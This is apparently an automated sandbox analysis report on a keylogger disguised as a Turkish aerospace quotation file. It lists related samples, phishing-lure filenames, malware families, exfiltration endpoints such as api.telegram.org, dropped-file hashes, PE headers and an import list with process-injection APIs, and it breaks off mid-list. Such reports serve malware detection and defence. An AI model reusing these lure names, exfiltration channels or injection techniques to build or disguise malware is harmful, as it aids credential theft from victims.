	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, LummaC Stealer, PureLog Stealer, Vidar, Xmrig	Browse
	RdLfpZY5A9.exe	Get hash	malicious	77Rootkit, XWorm	Browse
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
104.21.67.152	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	Get hash	malicious	GuLoader	Browse
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse
	Request for Quotations and specifications.pdf.exe	Get hash	malicious	MassLogger RAT	Browse
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse
	hesaphareketi-01.pdfsxlx..exe	Get hash	malicious	Snake Keylogger	Browse
	41570002689_20220814_05352297_HesapOzeti.exe	Get hash	malicious	MassLogger RAT	Browse
193.122.130.0	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	file.exe	Get hash	malicious	Amadey, AsyncRAT, HVNC, LummaC Stealer, RedLine, Stealc	Browse	checkip.dyndns.org/
	AsyncClient.exe	Get hash	malicious	AsyncRAT, HVNC, PureLog Stealer	Browse	checkip.dyndns.org/
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	T#U00fcbitak SAGE RfqF#U0334D#U0334P#U0334..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Malzeme #U0130stek Formu_12102024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	jXN37dkptv.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	UBS20240190101.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	Get hash	malicious	GuLoader	Browse	158.101.44.242
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	158.101.44.242
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	file.exe	Get hash	malicious	Amadey, AsyncRAT, HVNC, LummaC Stealer, RedLine, Stealc	Browse	193.122.130.0
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	file.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	77541373_BESOZT00_2024_99101234_1_4_1.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
reallyfreegeoip.org	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	Get hash	malicious	GuLoader	Browse	104.21.67.152
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	file.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	77541373_BESOZT00_2024_99101234_1_4_1.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
api.telegram.org	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	RdLfpZY5A9.exe	Get hash	malicious	77Rootkit, XWorm	Browse	149.154.167.220
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	149.154.167.220
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	149.154.167.99
	njrtdhadawt.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	T0x859fNfn.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	149.154.167.99
	lem.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Setup.msi	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, Vidar	Browse	149.154.167.99
CLOUDFLARENETUS	PO.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	104.26.13.205
	https://www.sendspace.com/pro/dl/m2hhc1	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://protect.checkpoint.com/v2/r02/___https://url1251.popmenu.com/qxdhqnhp?zus=z556.WRHPCjsgt/tA51B6LI9w4BubTYwM5p/-7KrggkVEpmPU5/oVFKKM8Rk6rAnqtQtILc2Q2H_3u9DiXC41Sfynx8MyN~gGwOol/aO3BY~pgD37kbc4-7KGmCSO4DHGqcB~D2S053knP-7G~y37ScDgrX/lhFDF7r7h5Gwz-7GtvZLu~h33zX5RXwSF0oDJX34CSZAvVXm4AFQJ-7Gq-7KxI/mcm4qvQmbxushMLQI9uHWfHKaPI5mifSCu5iVBRcvqUxu7JB4CzzH~tp7hI~P2JxcRqKbjQDa1m4EV2vJju-7KXGYhKkA/NMg4b3nlprWADF7NLfLtJTf5xKVlxz1PBE~XIwKJANjSZxzJHsTEzwI07xTpBPmh9cjRp3bNxF-8I___.YzJlOm1zbm90aWZ5OmM6bzphNDQ0NjUwYTgwNjk4YzE1YzQzODY0NjgzZWZkNGFjNzo3Ojk1N2U6NjEyMTFiMTNiOTljZDFhYmUzOWRiNzM5NDE0NGE3NDNhMDJkZjlhMmI1NzgzMzhlZTAwMjhmZTBkODVlNWNmZDpoOlQ6VA	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, DCRat, LummaC Stealer, PureLog Stealer	Browse	172.67.220.198
	https://login.corp-internal.org/17058d3d8656ed69?l=27	Get hash	malicious	Unknown	Browse	104.16.99.29
	https://www.sendspace.com/pro/dl/m2hhc1	Get hash	malicious	Unknown	Browse	104.17.25.14
	rQuotation.exe	Get hash	malicious	Lokibot, PureLog Stealer	Browse	172.67.153.63
	https://afw.soundestlink.com/ce/c/675c127e5a5226f9e7b86686/675c13ae85cd17d1e3e2ab54/675c13c9f9a08fb1fbb3e577?signature=3f4d77f7452e61cf1e0cb9ce4a3540d02af0944caf975b089573a2fc1d891103	Get hash	malicious	Unknown	Browse	172.67.163.209
	http://898.tv/Lantekqs	Get hash	malicious	Unknown	Browse	104.16.62.16
	Herinnering.msg	Get hash	malicious	Unknown	Browse	172.66.0.227
ORACLE-BMC-31898US	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	Get hash	malicious	GuLoader	Browse	158.101.44.242
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	158.101.44.242
	arm5.elf	Get hash	malicious	Unknown	Browse	147.154.242.4
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	file.exe	Get hash	malicious	Amadey, AsyncRAT, HVNC, LummaC Stealer, RedLine, Stealc	Browse	193.122.130.0
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	elitebotnet.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	140.204.52.53
	77541373_BESOZT00_2024_99101234_1_4_1.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	AsyncClient.exe	Get hash	malicious	AsyncRAT, HVNC, PureLog Stealer	Browse	193.122.130.0

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	Get hash	malicious	GuLoader	Browse	104.21.67.152
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	Tvl72VM6PM.exe	Get hash	malicious	Unknown	Browse	104.21.67.152
	Tvl72VM6PM.exe	Get hash	malicious	Unknown	Browse	104.21.67.152
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	file.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
3b5074b1b5d032e5620f69f9f700ff0e	PO.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220
	rQuotation.exe	Get hash	malicious	Lokibot, PureLog Stealer	Browse	149.154.167.220
	invoice.html	Get hash	malicious	Unknown	Browse	149.154.167.220
	rDOC24INV0616.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	https://t.co/eSJUUrWOcO	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220
	InvoiceNr274728.pdf.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	A6IuJ5NneS.lnk	Get hash	malicious	LummaC	Browse	149.154.167.220
	KlarnaInvoice229837.pdf.lnk	Get hash	malicious	LummaC	Browse	149.154.167.220
	Arrival Notice.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe
File Type:	data
Category:	dropped
Size (bytes):	131260
Entropy (8bit):	7.927629359842594
Encrypted:	false
SSDEEP:	3072:GXd3q/RvJrnoMEIY3o+VoHWZVCnMinmUysUXuimfTU:Wa9JLKon0SiqTU
MD5:	B786E54FFB3DE50B5154B4255F156F4A
SHA1:	387972FA1376F21A589E0C54473EC0961A2792EE
SHA-256:	A7442736F4CD5413DBB215DCCEA715ED6A1C5AE952AB4B7639A95F34416265AE
SHA-512:	DE1DFC2B55C97353C5133E5F8065081558F4C9BBF1021B7CCB348619FF107E0DAD8A2D3633381A70C8091A3F65B13B2114EAAF7DA94B031F923B4CDA278D954D
Malicious:	false
Reputation:	low
Preview:	EA06..0........oD..&u]n.sD.L.t.}2.U.L@.J...R..h.@.\...~.X..O.b....7)m..#.H.B.Z.Z...t.P.E...vu&...1J..Io...K../).J..Rg`.T...1...g....4.CU.L'Sh.f.)..2..\D.5..."..C&....4......Vh.'...F...Vd.+..V%..$.:]h...Lf2p..R@4.9....V3=.H.`..5RoK..~\|."?@....:.h.W....o...w)..@...p......H.T.o ..vs9....I4...4..._O.~."."%..V..e...d.U...p.B.0...!.:.@.....T.....Si.J..U3..8..X.T.M&t.WV.A..~..g..........W...Zi7.....:..!..DT......`.R..T[......O.T%..D..P......B...M...`.I...T.e.......Z.2sU.e.Vi...S(5..Jc7.vi.:.ZU..M'<.M>.E.Ef3....D..o.$.gN.S...\|.e..4.D..Y.....~.L..Qy...c.L..+.~.7....ej........2o..J..I.....~$3...k....<..p....[t..0..c.K...Y.Vg...f.4..I...nSF..@$.nu:....Je..N.Lf...23K.vf.I...h.......;f..@........@.UV5...(..Db.x....I.>.O.X.rY..go..2.%fs@.............Lyu ...6....omfg%.....\....f3....v.........S..{.zcO..4.....:..T..~.@..f.J../K.Jb9@.R...Pjs..oF...uZ.fwG..t.]:.(..I..}2c.....=..I.P.)..{D..7.@.)...1..e..Q.`......M.4......Mi.P..3.V.....IM..:.*..u...%....a

C:\Users\user\AppData\Local\Temp\wherefore

Download File

Process:	C:\Users\user\Desktop\TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe
File Type:	SVr2 curses screen image, big-endian
Category:	dropped
Size (bytes):	274432
Entropy (8bit):	6.837989100231251
Encrypted:	false
SSDEEP:	6144:hOCWm/dAZdjO0aHta8ZIuaqe6a2EauSVVmaXYFn1rnU:8CWm1ajO1ta9DsuSmp1rnU
MD5:	6880758A850062FD30B92F05A84AF4A2
SHA1:	DF25C701A9C45EF5F737A6A85565D25C6305E761
SHA-256:	43D57E4EB75AD957405A8CD679AC2BFE0A2DB85364894767BB2921117F45512C
SHA-512:	5B2049D90942B03C0025782877A8AE77C8738F7DB1D5CB6268FE7046901B8108A28D9D7A38C28FFC09624DCB162CF6C0072CA6A77853F1A5DF75288ECC9871C8
Malicious:	false
Reputation:	low
Preview:	...0217D]L3U..9D.3KJOLAUp117DYL3URY9D43KJOLAU0117DYL3URY9D43.JOLOJ.?1.M.m.T....\Z8j?>.2BP\.'8"]:&y[!.A>$o%/ut~b.)6(V{_T3`43KJOLA.u11{EZL...?9D43KJOL.U20:6.YL)QRY-D43KJO.yQ01.7DY.7URYyD4.KJONAU4117DYL3QRY9D43KJ.HAU2117DYL1U..9D$3KZOLAU 11'DYL3URI9D43KJOLAU09.3D.L3UR.=D##KJOLAU0117DYL3URY9DT7KFOLAU0117DYL3URY9D43KJOLAU0117DYL3URY9D43KJOLAU0117DYl3UZY9D43KJOLAU8.17.YL3URY9D43Kd;)9!011S\]L3uRY9^03KHOLAU0117DYL3URy9DT.99=/AU0&!7DY.7URK9D4/OJOLAU0117DYL3.RYyjFV'%,LAY0117$]L3WRY9j03KJOLAU0117DY.3U.Y9D43KJOLAU0117D.t7URY9D\|3KJMLDU..374.M3VRY9.43M..NA.0117DYL3URY9D43KJOLAU0117DYL3URY9D43KJOLAU0.L.K...<!..D43KJOMCV479?DYL3URY9:43K.OLA.011.DYL.URYTD43oJOL?U01O7DY(3UR+9D4RKJO.AU0^17D7L3U,Y9D1cjOLK..13.eYL9Ux.Jf43A.NLAQC.17N.N3UV.D49.IOLE&.11=.]L3Q!.9D>.NJOHk.02.!BYL(:kY9N40._ILAN..15lcL3_Rs.D7.^LOLZ..13.MYL7..$D45c.OLK!9115.SL3QxG;lp3K@en?^015.DsnMYRY=o4.i4BLAQ.1.)F.A3UVs.::3KNdLkwN>17@rL.KP.6D47ah1\AU4.1.f']3UVr9n.MYJOHjU..O$DYH.Ux{GP43OaOfc+%113oYf.+DY9@.3ah1[AU4.1.f'T3UVr9n1.ROLE.6.S76.Y3%Q

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.016512045433539
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe
File size:	1'029'120 bytes
MD5:	e984d47ddddd227739d93d4712eec8fa
SHA1:	c10c8fbb4afc6d0ec5754ee95cfd4b3e4df4b3f8
SHA256:	1349316e7a40b141bed9b55a8271d86434e168ff6efd248c1fa5af4e05c1c248
SHA512:	67c5fe2605be68f0f35193df1186924ee34fe3c1d65909bcdb34def6863f07aa9b444064690080a8e018efae9e1ac08c26442364d1a3e2488ebf932f8e05c643
SSDEEP:	24576:cu6J33O0c+JY5UZ+XC0kGso6FacEjfddHksiaZhdcWY:Gu0c++OCvkGs9Facqf/iafY
TLSH:	9A25BE22B3DDC360CB669173BF69B3056EBF7C610630B85B2F980D79A950171266C7A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

File Icon


Icon Hash:	3570b480858580c5

Static PE Info

General

Entrypoint:	0x427dcd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675FC424 [Mon Dec 16 06:09:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007FE88501226Ah
jmp 00007FE885005034h
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FE8850051BAh
cmp edi, eax
jc 00007FE88500551Eh
bt dword ptr [004C31FCh], 01h
jnc 00007FE8850051B9h
rep movsb
jmp 00007FE8850054CCh
cmp ecx, 00000080h
jc 00007FE885005384h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FE8850051C0h
bt dword ptr [004BE324h], 01h
jc 00007FE885005690h
bt dword ptr [004C31FCh], 00000000h
jnc 00007FE88500535Dh
test edi, 00000003h
jne 00007FE88500536Eh
test esi, 00000003h
jne 00007FE88500534Dh
bt edi, 02h
jnc 00007FE8850051BFh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FE8850051C3h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FE885005215h
bt esi, 03h
jnc 00007FE885005268h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD4 build 31101
[RES] VS2013 build 21005
[LNK] VS2013 UPD4 build 31101

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x32a58	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xfa000	0x711c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dcc4	0x8de00	d28a820a1d9ff26cda02d12b888ba4b4	False	0.5728679102422908	data	6.676118058520316	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	79b14b254506b0dbc8cd0ad67fb70ad9	False	0.33535526761517614	OpenPGP Public Key	5.76010872795207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	9f9d6f746f1a415a63de45f8b7983d33	False	0.1017530487804878	data	1.198745897703538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0x32a58	0x32c00	3749d4297d05ed808fab04e96093e91b	False	0.9559392318349754	data	7.930009937809749	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xfa000	0x711c	0x7200	6fcae3cbbf6bfbabf5ec5bbe7cf612c3	False	0.7650767543859649	data	6.779031650454199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc7458	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc7580	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc76a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc77d0	0x162c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.906800563777308
RT_MENU	0xc8dfc	0x50	data	English	Great Britain	0.9
RT_STRING	0xc8e4c	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xc93e0	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xc9a6c	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xc9efc	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xca4f8	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcab54	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcafbc	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcb114	0x2e425	data			1.0003483272376066
RT_GROUP_ICON	0xf953c	0x14	data	English	Great Britain	1.2
RT_GROUP_ICON	0xf9550	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xf9564	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xf9578	0x14	data	English	Great Britain	1.25
RT_VERSION	0xf958c	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0xf9668	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, 